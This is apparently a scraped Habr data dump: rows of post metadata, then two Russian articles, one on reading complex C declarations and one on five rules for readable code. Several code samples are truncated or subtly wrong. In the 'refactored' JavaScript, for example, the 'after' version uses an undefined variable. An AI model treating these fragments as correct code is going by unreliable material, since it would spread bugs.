2019-02-03T21:29:00.000,https://habr.com/ru/post/438590/,views:12800,votes:36,up:39,down:3,comments:23
2019-02-03T20:33:00.000,https://habr.com/ru/company/3cx/blog/438676/,views:876,votes:13,up:17,down:4,comments:6
2019-02-03T20:14:00.000,https://habr.com/ru/post/438674/,views:46200,votes:33,up:44,down:11,comments:283
2019-02-03T19:56:00.000,https://habr.com/ru/post/438670/,views:20300,votes:44,up:45,down:1,comments:70
2019-02-03T19:45:00.000,https://habr.com/ru/post/438666/,views:4900,votes:0,up:19,down:19,comments:11
2019-02-03T19:38:00.000,https://habr.com/ru/post/438632/,views:3100,votes:7,up:13,down:6,comments:10
2019-02-03T19:32:00.000,https://habr.com/ru/post/438662/,views:3000,votes:14,up:17,down:3,comments:0
2019-02-03T19:09:00.000,https://habr.com/ru/post/438658/,views:9200,votes:16,up:19,down:3,comments:13
2019-02-03T18:59:00.000,https://habr.com/ru/post/438656/,views:9400,votes:30,up:31,down:1,comments:21
2019-02-03T18:58:00.000,https://habr.com/ru/post/438648/,views:5400,votes:9,up:12,down:3,comments:33
2019-02-03T18:51:00.000,https://habr.com/ru/post/438650/,views:82300,votes:37,up:72,down:35,comments:1356
2019-02-03T18:27:00.000,https://habr.com/ru/post/438652/,views:4300,votes:20,up:21,down:1,comments:17
2019-02-03T17:46:00.000,https://habr.com/ru/post/438642/,views:3800,votes:15,up:18,down:3,comments:13
2019-02-03T17:38:00.000,https://habr.com/ru/post/438640/,views:2200,votes:13,up:5,down:18,comments:30
2019-02-03T17:01:00.000,https://habr.com/ru/post/437172/,views:1500,votes:12,up:14,down:2,comments:8
2019-02-03T15:26:00.000,https://habr.com/ru/post/438634/,views:11000,votes:14,up:18,down:4,comments:45
2019-02-03T14:40:00.000,https://habr.com/ru/company/ua-hosting/blog/438332/,views:6300,votes:19,up:19,down:0,comments:4
2019-02-03T13:36:00.000,https://habr.com/ru/company/it-grad/blog/438576/,views:8600,votes:9,up:12,down:3,comments:1
2019-02-03T13:31:00.000,https://habr.com/ru/post/438630/,views:5900,votes:5,up:16,down:11,comments:35
2019-02-03T13:29:00.000,https://habr.com/ru/post/438628/,views:967,votes:6,up:9,down:3,comments:2
2019-02-03T13:28:00.000,https://habr.com/ru/company/everydaytools/blog/438626/,views:4800,votes:20,up:20,down:0,comments:0
2019-02-03T13:17:00.000,https://habr.com/ru/post/438624/,views:6400,votes:15,up:18,down:3,comments:22
2019-02-03T12:31:00.000,https://habr.com/ru/post/438620/,views:7100,votes:10,up:20,down:10,comments:49
2019-02-03T12:00:00.000,https://habr.com/ru/post/438566/,views:36900,votes:38,up:44,down:6,comments:69
2019-02-03T11:00:00.000,https://habr.com/ru/company/yandex/blog/438606/,views:14600,votes:43,up:48,down:5,comments:27
2019-02-03T10:58:00.000,https://habr.com/ru/post/438610/,views:1200,votes:4,up:6,down:2,comments:0
2019-02-03T10:55:00.000,https://habr.com/ru/post/438472/,views:5400,votes:30,up:30,down:0,comments:0
2019-02-03T03:13:00.000,https://habr.com/ru/post/438604/,views:2100,votes:1,up:12,down:13,comments:5
2019-02-03T01:42:00.000,https://habr.com/ru/post/438602/,views:9700,votes:48,up:50,down:2,comments:18
2019-02-03T01:07:00.000,https://habr.com/ru/post/438600/,views:2400,votes:12,up:13,down:1,comments:2
2019-02-03T00:15:00.000,https://habr.com/ru/post/438556/,views:2000,votes:7,up:7,down:0,comments:4
2019-02-02T23:44:00.000,https://habr.com/ru/post/438594/,views:28100,votes:35,up:38,down:3,comments:169
2019-02-02T23:17:00.000,https://habr.com/ru/post/438596/,views:4300,votes:8,up:18,down:10,comments:14
2019-02-02T22:06:00.000,https://habr.com/ru/company/maccentre/blog/438592/,views:7800,votes:15,up:23,down:8,comments:41
2019-02-02T22:06:00.000,https://habr.com/ru/post/384933/,views:19400,votes:39,up:46,down:7,comments:19
2019-02-02T21:22:00.000,https://habr.com/ru/post/438582/,views:30500,votes:34,up:46,down:12,comments:120
2019-02-02T20:18:00.000,https://habr.com/ru/post/438588/,views:2300,votes:18,up:21,down:3,comments:7
2019-02-02T19:30:00.000,https://habr.com/ru/post/438052/,views:5700,votes:14,up:17,down:3,comments:14
2019-02-02T19:28:00.000,https://habr.com/ru/post/438584/,views:7300,votes:21,up:27,down:6,comments:15
2019-02-02T19:19:00.000,https://habr.com/ru/company/audiomania/blog/438578/,views:9100,votes:20,up:23,down:3,comments:15
2019-02-02T19:14:00.000,https://habr.com/ru/post/438580/,views:3100,votes:18,up:18,down:0,comments:0
2019-02-02T19:00:00.000,https://habr.com/ru/post/438574/,views:3500,votes:21,up:21,down:0,comments:5
2019-02-02T18:04:00.000,https://habr.com/ru/company/1cloud/blog/438568/,views:7500,votes:22,up:25,down:3,comments:3
2019-02-02T17:07:00.000,https://habr.com/ru/post/438554/,views:2700,votes:10,up:19,down:9,comments:51
2019-02-02T15:09:00.000,https://habr.com/ru/post/438550/,views:6100,votes:27,up:31,down:4,comments:35
2019-02-02T14:31:00.000,https://habr.com/ru/company/audiomania/blog/438544/,views:11600,votes:14,up:19,down:5,comments:5
2019-02-02T13:35:00.000,https://habr.com/ru/post/438542/,views:6700,votes:30,up:33,down:3,comments:12
2019-02-02T13:19:00.000,https://habr.com/ru/post/438202/,views:7100,votes:13,up:16,down:3,comments:84
2019-02-02T13:07:00.000,https://habr.com/ru/company/it-grad/blog/438536/,views:2700,votes:16,up:17,down:1,comments:0
2019-02-02T13:01:00.000,https://habr.com/ru/company/oleg-bunin/blog/438538/,views:2100,votes:38,up:39,down:1,comments:5
2019-02-02T11:38:00.000,https://habr.com/ru/post/438534/,views:28600,votes:59,up:60,down:1,comments:72
2019-02-02T10:50:00.000,https://habr.com/ru/post/438386/,views:5000,votes:20,up:21,down:1,comments:6
2019-02-02T10:06:00.000,https://habr.com/ru/post/438342/,views:9900,votes:37,up:38,down:1,comments:6
2019-02-02T02:46:00.000,https://habr.com/ru/post/438530/,views:2900,votes:3,up:22,down:19,comments:4
2019-02-02T00:33:00.000,https://habr.com/ru/post/438180/,views:10000,votes:50,up:51,down:1,comments:50
2019-02-01T21:58:00.000,https://habr.com/ru/post/438522/,views:7300,votes:30,up:33,down:3,comments:7
2019-02-01T20:35:00.000,https://habr.com/ru/post/438518/,views:1500,votes:7,up:8,down:1,comments:8
2019-02-01T20:24:00.000,https://habr.com/ru/post/438516/,views:5300,votes:10,up:21,down:11,comments:15
2019-02-01T20:09:00.000,https://habr.com/ru/post/438514/,views:226000,votes:424,up:438,down:14,comments:577
2019-02-01T19:25:00.000,https://habr.com/ru/post/438512/,views:9900,votes:27,up:33,down:6,comments:37
2019-02-01T18:58:00.000,https://habr.com/ru/post/438508/,views:39900,votes:67,up:70,down:3,comments:68
2019-02-01T18:53:00.000,https://habr.com/ru/post/438510/,views:10300,votes:48,up:50,down:2,comments:37
2019-02-01T18:53:00.000,https://habr.com/ru/post/423329/,views:7300,votes:5,up:11,down:6,comments:36
2019-02-01T18:48:00.000,https://habr.com/ru/post/438506/,views:6500,votes:36,up:39,down:3,comments:28
2019-02-01T18:31:00.000,https://habr.com/ru/company/kingston\_technology/blog/438500/,views:2400,votes:12,up:13,down:1,comments:8
2019-02-01T18:20:00.000,https://habr.com/ru/post/438402/,views:4500,votes:16,up:18,down:2,comments:15
2019-02-01T18:13:00.000,https://habr.com/ru/post/438496/,views:6300,votes:24,up:24,down:0,comments:22
2019-02-01T17:51:00.000,https://habr.com/ru/post/438492/,views:25800,votes:75,up:79,down:4,comments:156
2019-02-01T17:36:00.000,https://habr.com/ru/post/438476/,views:4200,votes:14,up:17,down:3,comments:27
2019-02-01T17:18:00.000,https://habr.com/ru/post/438376/,views:14900,votes:73,up:75,down:2,comments:43
2019-02-01T17:12:00.000,https://habr.com/ru/post/438490/,views:4100,votes:16,up:16,down:0,comments:3
2019-02-01T16:52:00.000,https://habr.com/ru/post/438050/,views:5100,votes:33,up:34,down:1,comments:17
2019-02-01T16:27:00.000,https://habr.com/ru/post/438482/,views:3300,votes:15,up:21,down:6,comments:0
2019-02-01T16:24:00.000,https://habr.com/ru/post/438480/,views:1900,votes:8,up:13,down:5,comments:1
2019-02-01T16:21:00.000,https://habr.com/ru/post/438478/,views:3300,votes:14,up:15,down:1,comments:10
2019-02-01T16:10:00.000,https://habr.com/ru/company/mailru/blog/438392/,views:4400,votes:63,up:64,down:1,comments:12
2019-02-01T15:31:00.000,https://habr.com/ru/post/438470/,views:2300,votes:23,up:26,down:3,comments:21
2019-02-01T15:11:00.000,https://habr.com/ru/post/438468/,views:3100,votes:23,up:27,down:4,comments:14
2019-02-01T14:57:00.000,https://habr.com/ru/post/438466/,views:9900,votes:22,up:27,down:5,comments:28
2019-02-01T14:45:00.000,https://habr.com/ru/company/it\_people/blog/438458/,views:763,votes:9,up:11,down:2,comments:0
2019-02-01T14:45:00.000,https://habr.com/ru/post/438464/,views:3700,votes:17,up:17,down:0,comments:11
2019-02-01T14:27:00.000,https://habr.com/ru/post/438454/,views:976,votes:7,up:8,down:1,comments:1
2019-02-01T14:21:00.000,https://habr.com/ru/company/skillbox/blog/438462/,views:3000,votes:9,up:12,down:3,comments:1
2019-02-01T14:10:00.000,https://habr.com/ru/post/438460/,views:3000,votes:8,up:13,down:5,comments:2
2019-02-01T14:06:00.000,https://habr.com/ru/post/437564/,views:707,votes:9,up:11,down:2,comments:0
2019-02-01T14:05:00.000,https://habr.com/ru/company/zimbra/blog/438456/,views:695,votes:6,up:6,down:0,comments:2
2019-02-01T14:02:00.000,https://habr.com/ru/company/ods/blog/438212/,views:6900,votes:52,up:53,down:1,comments:4
2019-02-01T13:51:00.000,https://habr.com/ru/post/438446/,views:1600,votes:8,up:8,down:0,comments:0
2019-02-01T13:26:00.000,https://habr.com/ru/post/438448/,views:46200,votes:87,up:87,down:0,comments:63
2019-02-01T12:58:00.000,https://habr.com/ru/post/438450/,views:995,votes:10,up:11,down:1,comments:2
2019-02-01T12:40:00.000,https://habr.com/ru/post/438444/,views:6900,votes:15,up:16,down:1,comments:29
2019-02-01T12:37:00.000,https://habr.com/ru/post/438442/,views:827,votes:2,up:4,down:2,comments:2
2019-02-01T12:13:00.000,https://habr.com/ru/company/bull/blog/438356/,views:1700,votes:10,up:10,down:0,comments:0
2019-02-01T12:05:00.000,https://habr.com/ru/company/first/blog/438438/,views:2300,votes:5,up:9,down:4,comments:20
2019-02-01T12:00:00.000,https://habr.com/ru/company/ua-hosting/blog/438164/,views:5300,votes:23,up:24,down:1,comments:8
2019-02-01T12:00:00.000,https://habr.com/ru/company/ruvds/blog/438412/,views:13500,votes:25,up:27,down:2,comments:7
2019-02-01T11:48:00.000,https://habr.com/ru/post/438436/,views:3300,votes:8,up:11,down:3,comments:10
2019-02-01T11:42:00.000,https://habr.com/ru/post/438188/,views:17400,votes:33,up:33,down:0,comments:121
2019-02-01T10:43:00.000,https://habr.com/ru/company/englishdom/blog/438430/,views:7400,votes:12,up:15,down:3,comments:17
2019-02-01T10:41:00.000,https://habr.com/ru/post/438432/,views:4400,votes:12,up:22,down:10,comments:6
2019-02-01T10:23:00.000,https://habr.com/ru/post/437112/,views:6300,votes:46,up:46,down:0,comments:7
2019-02-01T10:11:00.000,https://habr.com/ru/company/mailru/blog/438270/,views:2400,votes:32,up:34,down:2,comments:5
2019-02-01T10:11:00.000,https://habr.com/ru/post/438428/,views:49900,votes:52,up:58,down:6,comments:526
2019-02-01T10:00:00.000,https://habr.com/ru/post/438350/,views:31000,votes:33,up:44,down:11,comments:53
2019-02-01T10:00:00.000,https://habr.com/ru/company/microsoft/blog/437636/,views:1400,votes:5,up:8,down:3,comments:0
2019-02-01T09:28:00.000,https://habr.com/ru/company/flant/blog/436910/,views:5700,votes:30,up:30,down:0,comments:2
Всем удачных экспериментов. | https://habr.com/ru/post/440954/ | null | ru | null |
# Как правильно читать объявления в Си
Даже совсем зеленые программисты на Си, не испытывают проблем с чтением таких объявлений:
`int foo[5]; // foo массив из 5 элементов типа int
char *foo; // foo указатель на char
double foo(); // foo функция возвращающая значение типа double`
Но как только объявления становятся немного сложнее, проблематично точно сказать что это. Например:
`char *(*(**foo[][8])())[];`
Оказывается, что правила чтения произвольно совокупных объявлений легко учатся даже начинающими программистами (хоть и невозможно использовать такую объявленную переменную).
### Основные и производные типы
В дополнении к имени переменной, объявление состоит из одного основного типа и может содержать еще и производный тип, и это ключ к пониманию различий между ними.
Основные типы:
**• char
• signed char
• unsigned char
• short
• unsigned short
• int
• unsigned int
• long
• unsigned long
• float
• double
• long double
• void
• struct tag
• union tag
• enum tag
• long long
• unsigned long long**
Объявление может содержать только **один основной тип**, и он всегда находится слева выражения. Основные типы дополняются производными типами, в Си их три:
1) **\* — указатель на ...**
Обозначается символом \*, и важно понимать что указатель **всегда** на что-нибудь указывает.
2)**[] — массив из…**
Массив может быть безразмерный — [], а может быть и размерный [10]. Правда размерный массив или нет, это неважно при чтении объявлений (обычно все же пишется размер массива). Должно быть понятно что массив всегда «массив из чего-нибудь».
3) **() — функция возвращающая ...**
Обычно обозначается парой круглых скобок (), но также возможно что внутри их будут модели параметров.Список параметров (если он есть) не играет существенной роли при чтении объявлений, и мы его обычно игнорируем. Заметим, что круглые скобки используемые для обозначения функций, отличаются от скобок служащих для группировки: группирующие скобки окружают переменные, тогда как скобки для обозначения функция находятся справа.Функция не имеет смысла если она ничего не возврщает(когда мы объявляем функцию с возвращаемым типом значения void, то это просто выглядит как будто функция возвращает значения типа void)
Производные типы **всегда** что то модифицируют, будь то основной тип или производный, и что бы правильно читать объявления, всегда нужно вставлять предлог («на», «из», «возвращающая»). Используя при чтении «указатель» вместо «указатель на», вы точно прочитаете объявление неправильно.
### Приоритет операторов.
Почти каждый программист Си знаком с таблицами приоритетов операторов, в которых говорится что (например) умножение и деление имеют более высокий приоритет (выполняются раньше) чем сложение и вычитание, и группирующие скобки используются для изменения этого приоритета.Это кажется нормальным для «обычных» выражений, но те же правила применимы и к объявлениям — они просто «типовые», а не вычислительные.
Операторы «массив из»**[]** и «функция возвращающая»**()** имеют более высокий приоритет чем «указатель на», что приводит к довольно простому правилу декодирования:
**Всегда начинайте с имени переменной:**
**foo — это .....**
**И заканчивайте декодирование основным типом:**
**… типа int**
То, что будет в середине, обычно сложнее разобрать, но можно сформулировать правило:
**двигайтесь вправо, если это возможно, и перемещайтесь влево если это необходимо**
Начиная с имени переменной, соблюдая правила приоритета, двигайтесь вправо насколько это возможно вычеркивая лексемы, пока не дойдете до группирующих скобок.После же перемещайтесь налево в соответствии со скобками.
### Простой пример.
Давайте начнем с простого примера:
-> **long \*\*foo[7];**
Давайте попробуем разобраться, сосредоточившись на одной или двух частях, выделяя их **жирным шрифтом**, а то с чем мы уже определились будем ~~зачеркивать~~
-> long \*\*foo [7];
Начинаем с имени переменной и заканчиваем основным типом:
foo — это… типа long
Разбираем дальше:
-> ~~long~~ \*\*~~foo~~[7];
В данной момент имя переменной окружает лексема значащая «массив из 7 » и лексема значащая «указатель на», и в соответствии с правилом двигаемся вправо и дописываем к нашему описанию «массив из 7 »:
foo — это массив из 7 … типа long
-> ~~long~~ \*\*~~foo[7]~~;
Вправо больше некуда двигаться, а ближайшая лексема это «указатель на». Добавим её:
foo — это массив из 7 указателей на… значение типа long
-> ~~long~~ \*~~\*foo[7]~~;
Ближайшая лексема так же «указатель на», добавим и её:
foo — это массив из 7 указателей на указатели на значение типа long
Ну вот и все.
### Сложный пример
Чтобы проверить наши навыки, нам нужно попробовать прочитать очень сложное объявление, которое никогда не встретится в реальной жизни (на самом деле мы очень долго думали как можно применить это объявление).Но нужно показать что правила работают и для очень сложных деклараций.
-> char \*(\*(\*\*foo [][8])())[];
Все объявления стоит начинать читать с «имя переменной… основной тип»
foo — это… типа char;
->~~char~~ \*(\*(\*\*~~foo~~ [][8])())[];
К имени примыкают «указатель на» и «массив из», идем вправо:
foo — это массив из… типа char;
~~char~~ \*(\*(\*\*~~foo[]~~[8])())[];
Мы можем выбрать правую или левую примыкающую лексему, но правило гласит что, необходимо двигаться вправо насколько это возможно, пока к внутренней части группирующих скобок что нибудь примыкает, поэтому идем вправо.
foo — это массив из массив из… типа char;
->~~char~~ \*(\*(\*\* ~~foo[][8]~~)())[];
Мы дошли до группирующих скобок, и дальше двигаться направо не представляется возможным, поэтому двигаемся влево пока не дойдем до парной группирующей скобки, чтоб вычеркнуть все остальные лексемы.
foo — это массив из массив из указателей на… типа char;
->~~char~~ \*(\*(\* ~~\*foo[][8]~~)())[];
Снова двигаемся влево и приписываем «указатель на».
foo — это массив из массив из указателей на указатели на… типа char;
->~~char~~ \*(\* ~~(\*\* foo[][8])~~())[];
После того как мы дописали «указатель на» в предыдущем шаге, мы дошли до парной группирующей скобки, так что продолжим присоединять и к «группирующим скобкам». Сейчас к ним примыкает«функция возвращает» справа и «указатель на» слева. Двигаемся вправо.
foo — это массив из массив из указателей на указатели на функцию возвращающую… типа char;
->~~char~~ \*(\* ~~(\*\* foo[][8])()~~)[];
Мы снова уперлись в группирующие скобки, поэтому снова возвращаемся налево.
foo — это массив из массив из указателей на указатели на функцию возвращающую указатели на… типа char;
->~~char~~ \*~~(\*(\*\* foo[][8])())~~[];
Обойдя группирующие скобки, видим что сейчас к вычеркнутым лексемам примыкает «массив из» справа и «указатель на» слева, «массив из» находится справа, добавим.
foo — это массив из массив из указателей на указатели на функцию возвращающую указатели на массив из… типа char;
->~~char~~ \*~~(\*(\*\* foo[][8])())[]~~;
Ну и добавляем последнюю лексему.
foo — это массив из массив из указателей на указатели на функцию возвращающую указатели на массив из указателей на тип char;
Мы правда не знаем как это применить, но описание типа корректно.
### Абстрактные объявления
Стандарт Си позволяет использовать абстрактные объявления, когда тип должен быть объявлен, но не связан с именем переменной. Это используется при приведении типов, и как аргумент **sizeof** — иногда это выглядит ужасающе:
**int (\*(\*)())()**;
Естественно возникает вопрос с чего же начать, так вот ответ будет звучать так «надо найти место, где будет стоять имя переменной и рассматривать как обычное объявление». Такое место будет только одно, и найти его на самом деле очень просто. Используя правила синтаксиса, которые мы знаем:
•справа от всех лексем «указатель на»
•слева от всех лексем «массив из»
•слева от всех лексем «функция возвращает»
•внутри всех группирующих скобок
А теперь посмотрим на пример. Мы видим что левый набор лексем «указатель на» устанавливает одну границу и правый набор лексем «функция возвращает» устанавливает другую границу.
~~int (\*(\*~~ •)• ~~())()~~;
Красные точки • показывают куда можно поместить имя переменной, но только одно место удовлетворяет условиям (внутри группирующих скобок). И что же у нас тогда с объявлением? А вот что:
**int (\*(\*foo)())()**;
которое наши правила описывают как:
foo — это указатель на функцию возвращающую указатель на функцию возвращающую значение типа int
### Семантические ограничения / Примечания
Не все комбинации производных типов допускаются. Возможно создать объявления, прекрасно вписывающееся в синтаксические правила, но которые тем не менее будут ошибочны (будут правильны синтаксически, но ошибочны семантически, например)
**• Невозможно создать массив функций**
Но зато можно использовать массив указателей на функцию
**•Функция не может возвращать функцию**
Но может возвращать указатель на функцию
**•Функция не может вернуть массив**
Опять таки функция может вернуть указатель на массив
**•В массивах только левая лексема [] может быть пустой**
Си поддерживает многомерные массивы (например foo[1][2][3][4]), представляющие собой очень простую структуру данных. Однако, когда массив имеет больше чем одно измерение, то только первые скобки могут быть пустыми. **char foo[]** и **char foo[][5]** имеют право на существование, а вот char **foo[5][]** уже запрещено
**•Тип «void» ограниченный**
Тип «void» -это псевдо-тип, и переменные такого типа могут быть только «указатель на» и «функция возвращающая». Запрещено (точнее невозможно) использовать «массив из void» и просто переменные типа «void».
void \*foo; //разрешено
void foo(); //разрешено
void foo; //запрещено
void foo[]; //запрещено
### Добавление типа соглашения вызова
При разработке на платформе windows, часто добавляется, к описанию функции соглашение вызова.Это указывает компьютеру какой метод использовать для вызова функции в запросе, и метод должен быть таким же, какой и ожидает функция. Вот как это выглядит:
`extern int __cdecl main(int argc, char **argv);
extern BOOL __stdcall DrvQueryDriverInfo(DWORD dwMode, PVOID pBuffer,
DWORD cbBuf, PDWORD pcbNeeded);`
Такое добавление очень часто встречается в разработке под win32, оно достаточно простое для понимания. Больше информации в статье [Использование соглашения вызова win32](http://www.unixwiz.net/techtips/win32-callconv.html) .
Где это становится каким-то более сложным, так это когда соглашение вызова должно быть включено в «указатель» (включая typedef), потому, что лексема не выглядит так, чтобы соответствовать нормальной схеме.Это часто используется когда речь идет о работе с **LoadLibrary()** и **GetProcAddress()** API для обращения к вызову функции из недавно загруженной библиотеки.
Это можно часто встретить с typedef:
`typedef BOOL (__stdcall *PFNDRVQUERYDRIVERINFO)(
DWORD dwMode,
PVOID pBuffer,
DWORD cbBuf,
PDWORD pcbNeeded
);
...
/* get the function address from the DLL */
pfnDrvQueryDriverInfo = (PFNDRVRQUERYDRIVERINFO)
GetProcAddress(hDll, "DrvQueryDriverInfo")`
Согласование вызова это атрибут функции, а не указателя, поэтому при чтении это нужно ставить перед указателем, но все равно внутри группирующих скобок:
**BOOL (\_\_stdcall \*foo)(...);**
Читается:
foo — это указатель на \_\_stdcall функцию возвращающую BOOL.
p.s. О неточностях пишите, пожалуйста, в личку. | https://habr.com/ru/post/116255/ | null | ru | null |
# 5 простых правил удобного для восприятия кода
*Задаетесь вопросами: «Как написать чисто, понятно? Как быстро разобраться в чужом коде?»
Вспомните о приведенных ниже правилах и примените их!*
В статье не рассматриваются базовые правила именования переменных и функций, синтаксические отступы и масштабная тема рефакторинга. Рассматриваются 5 простых правил по упрощению кода и снижению нагрузки на мозг в процессе разработки.
Рассмотрим процесс восприятия данных, чтобы соотнести описанные правила с процессом восприятия и определить критерии простого кода.
Упрощенный процесс восприятия состоит из следующих этапов:
1. Поступающая через рецепторы данные соотносятся с предыдущим опытом.
2. Если соотнесения нет – это шум. Шум быстро забывается. Если есть с чем соотнести, происходит опознавание фактов.
3. Если факт важен — запоминаем, либо обобщаем, либо действуем, например говорим или набираем код.
4. Для сокращения объема запоминаемой и анализируемой информации используется обобщение.
5. После обобщения, информация вновь соотносится и анализируется (этап 1).
Ученые разделяют память на кратковременную и долгосрочную. Кратковременная память мала по объему, но извлечение и сохранение информации выполняет мгновенно. Кратковременная память — кэш мозга. В нем может храниться 7+-2 слов, цифр, предметов. Долгосрочная память больше по объему, но она требует больших затрат энергии (усилий) на сохранение и извлечение информации, чем краткосрочная.
Выводы:
* чем меньше элементов, тем меньше тратится энергии,
* требуется сокращать количество воспринимаемых элементов до 9,
* как можно меньше задействовать долгосрочную память: обобщать или забывать.
Приступим к описанию правил.
**Правило 1. Используем в условиях утверждение, избавляемся от «не».**
Удаление оператора «не» уменьшает количество анализируемых элементов. Также, во многих языках программирования для оператора отрицания используется «!». Данный знак легко пропустить при прочтении кода.
Сравните:
```
if (!entity.IsImportAvaible)
{
//код 1
}
else
{
//код 2
}
```
После:
```
if (entity.IsImportAvaible)
{
//код 2
}
else
{
//код 1
}
```
**Правило 2. Уменьшение уровня вложенности.**
Во время анализа кода каждый уровень вложенности требуется удерживать в памяти. Уменьшаем количество уровней – уменьшаем затраты мыслетоплива.
Рассмотрим способы уменьшения количества уровней вложенности.
1) Возврат управления. Отсекаем часть случаев и сосредотачиваемся на оставшихся.
```
if (conributor != null)
{
//код
}
```
Преобразуем в
```
if(contributor == null)
{
return;
}
//код
```
или
```
while(условие 1)
{
if(условие 2)
{
break;
}
//код
}
```
или
```
for(;условие 1;)
{
if(условие 2)
{
continue;
}
//код
}
```
Расширенный пример приведен в правиле 5. Обратите внимание на выброс исключения.
2) Выделение метода. Имя функции — результат обобщения.
```
if(условие рассылки)
{
foreach(var sender in senders)
{
sender.Send(message);
}
}
```
в
```
if(условие рассылки)
{
SendAll(senders, message);
}
void SendAll(IEnumerable senders, string message)
{
foreach(var sender in senders)
{
sender.Send(message);
}
}
```
3) Объединение условий.
```
if (contributor == null)
{
if (accessMngr == null)
{
//код
}
}
```
в
```
if (contributor == null
&& accessMngr == null)
{
//код
}
```
4) Вынесение переменных и разделение на смысловые блоки. В результате блоки можно изменять независимо, а главное читать и воспринимать такой код гораздо проще. Один блок – одна функциональность. Частый случай — поиск с обработкой. Необходимо разбить код на отдельные смысловые блоки: поиск элемента, обработка.
```
for (int i=0;i
```
в
```
for(int i=0;i
```
**Правило 3. Избавляемся от индексаторов и обращений через свойства.**
Индексатор — операция обращения к элементу массива по индексу arr[index].
В процессе восприятия кода, мозг оперирует символами [] как разделителями, а индексатором как выражением.
````
function updateActiveColumnsSetting(fieldsGroups) {
var result = {};
for (var i = 0; i < fieldsGroups.length; i++) {
var fields = fieldsGroups[i].fields;
for (var j = 0; j < fields.length; j++) {
if (!result[fieldsGroups[i].groupName]) {
result[fieldsGroups[j].groupName] = {};
}
result[fieldsGroups[i].groupName][fields[j].field]
= createColumnAttributes(j, fields[j].isActive);
}
}
return JSON.stringify(result);
}
````
Индексатор — место частых ошибок. В силу кратких имен индексов перепутать I, j или k очень легко.
В приведенном выше примере в строчке result[fieldsGroups[j].groupName] = {}; допущена ошибка:
используется j, вместо i.
Для того, чтоб обнаружить где используется именно i-тое значение приходится:
1) визуально выделять переменную массива
````
function updateActiveColumnsSetting(fieldsGroups) {
var result = {};
for (var i = 0; i < fieldsGroups.length; i++) {
var fields = fieldsGroups[i].fields;
for (var j = 0; j < fields.length; j++) {
if (!result[fieldsGroups[i].groupName]) {
result[fieldsGroups[j].groupName] = {};
}
result[fieldsGroups[i].groupName][fields[j].field]
= createColumnAttributes(j, fields[j].isActive);
}
}
return JSON.stringify(result);
}
````
2) анализировать каждое вхождение на использование нужного индексатора I,j, i-1, j-1 и т.д., держа в восприятии места использования индексаторов и уже отождествленные обращения.
Выделив индексатор в переменную, сократим количество опасных мест и сможем легко задействовать мозг на восприятие переменной, без необходимости запоминания.
После переработки:
```
function updateActiveColumnsSetting(fieldsGroups) {
var columnsGroups = {};
for (var i = 0; i < fieldsGroups.length; i++) {
var fieldsGroup = fieldsGroups[i];
var groupName = fieldsGroup.groupName;
var columnsGroup = columnsGroups[groupName];
if (!columnsGroup) {
columnsGroup = columnsGroups[groupName] = {};
}
var fields = fieldsGroup.fields;
for (var j = 0; j < fields.length; j++) {
var fieldInfo = fields[j];
columnsGroup[fieldInfo.field]
= createColumnAttributes(j, field.isActive);
}
}
return columnsGroups;
}
```
Визуальное выделение происходит гораздо проще, а современные среды разработки и редакторы помогают, выделяя подстроки в разных участках кода.
````
function updateActiveColumnsSetting(fieldsGroups) {
var columnsGroups = {};
for (var i = 0; i < fieldsGroups.length; i++) {
var fieldsGroup = fieldsGroups[i];
var groupName = fieldsGroup.groupName;
var columnsGroup = columnsGroups[groupName];
if (!columnsGroup) {
columnsGroup = columnsGroups[groupName] = {};
}
var fields = fieldsGroup.fields;
for (var j = 0; j < fields.length; j++) {
var fieldInfo = fields[j];
columnsGroup[fieldInfo.field]
= createColumnAttributes(j, field.isActive);
}
}
return columnsGroups;
}
````
**Правило 4. Группируем блоки по смыслу.**
Используем психологический эффект восприятия — «Эффект близости»: близко расположенные фигуры при восприятии объединяются. Получить код, подготовленный для анализа и обобщения в процессе восприятия, и сократить количество информации, сохраняемой в памяти, можно расположив рядом строки, объединенные смыслом или близкие по функционалу, разделив их пустой строкой.
До:
````
foreach(var abcFactInfo in abcFactInfos)
{
var currentFact = abcInfoManager.GetFact(abcFactInfo);
var percentage = GetPercentage(summaryFact, currentFact);
abcInfoManager.SetPercentage(abcFactInfo, percentage);
accumPercentage += percentage;
abcInfoManager.SetAccumulatedPercentage(abcFactInfo, accumPercentage);
var category = GetAbcCategory(accumPercentage, categoryDictionary);
abcInfoManager.SetCategory(abcFactInfo, category);
}
````
После:
````
foreach (var abcFactInfo in abcFactInfos)
{
var currentFact = abcInfoManager.GetFact (abcFactInfo);
var percentage = GetPercentage(summaryFact, currentFact);
accumPercentage += percentage;
var category = GetAbcCategory(accumPercentage, categoryDictionary);
abcInfoManager.SetPercentage(abcFactInfo, percentage);
abcInfoManager.SetAccumulatedPercentage(abcFactInfo, accumPercentage);
abcInfoManager.SetCategory(abcFactInfo, category);
}
````
В верхнем примере 7 блоков, в нижнем 3: получение значений, накопление в цикле, установка свойств менеджера.
Отступами хорошо выделять места, на которые стоит обратить внимание. Так, строки
````
accumPercentage += percentage;
var category = GetAbcCategory(accumPercentage, categoryDictionary);
````
помимо зависимости от предыдущих вычислений, накапливают значения в переменной accumulatedPercentage. Для акцентирования внимания на отличии, код выделен отступом.
Одним из частных случаев применения правила является объявление локальных переменных как можно ближе к месту использования.
**Правило 5. Следование принципу единственности ответственности.**
Это первый из принципов SOLID в ООП, но помимо классов может быть применён к проектам, модулям, функциям, блокам кода, проектным командам или отдельным разработчикам. При вопросе кто или что отвечает за данную область сразу ясно — кто или что. Одна связь всегда проста. Каждый класс обобщается до одного понятия, фразы, метафоры. В результате меньше запоминать, процесс восприятия проходит проще и эффективнее.
В заключении комплексный пример:
````
private PartnerState GetPartnerStateForUpdate(
PartnerActivityInfo partner,
Dictionary currentStates,
Dictionary prevStates)
{
PartnerState updatingState;
if (prevStates.ContainsKey(partner.id))
{
if (currentStates.ContainsKey(partner.id))
{
var prevState = prevStates[partner.id];
updatingState = currentStates[partner.id];
//Код 1
}
else
{
//Код 2
}
}
else if (currentStates.ContainsKey(partner.id))
{
updatingState = currentStates[partner.id];
}
else
{
throw new Exception(string.Format("Для партнера {0} не найдено текущее и предыдущее состояние на месяц {1}", partner.id, month));
}
return updatingState;
}
````
После замены индексаторов ContainsKeу, инвертирования ветвления, выделения метода и уменьшения уровней вложенности получилось:
````
private PartnerState GetPartnerStateForUpdate(
PartnerActivityInfo partner,
Dictionary currentStates,
Dictionary prevStates)
{
PartnerState currentState = null;
PartnerState prevState = null;
prevStates.TryGetValue(partner.id, out prevState);
currentStates.TryGetValue(partner.id, out currentState);
currentState = CombineStates(currentState, prevState);
return currentState;
}
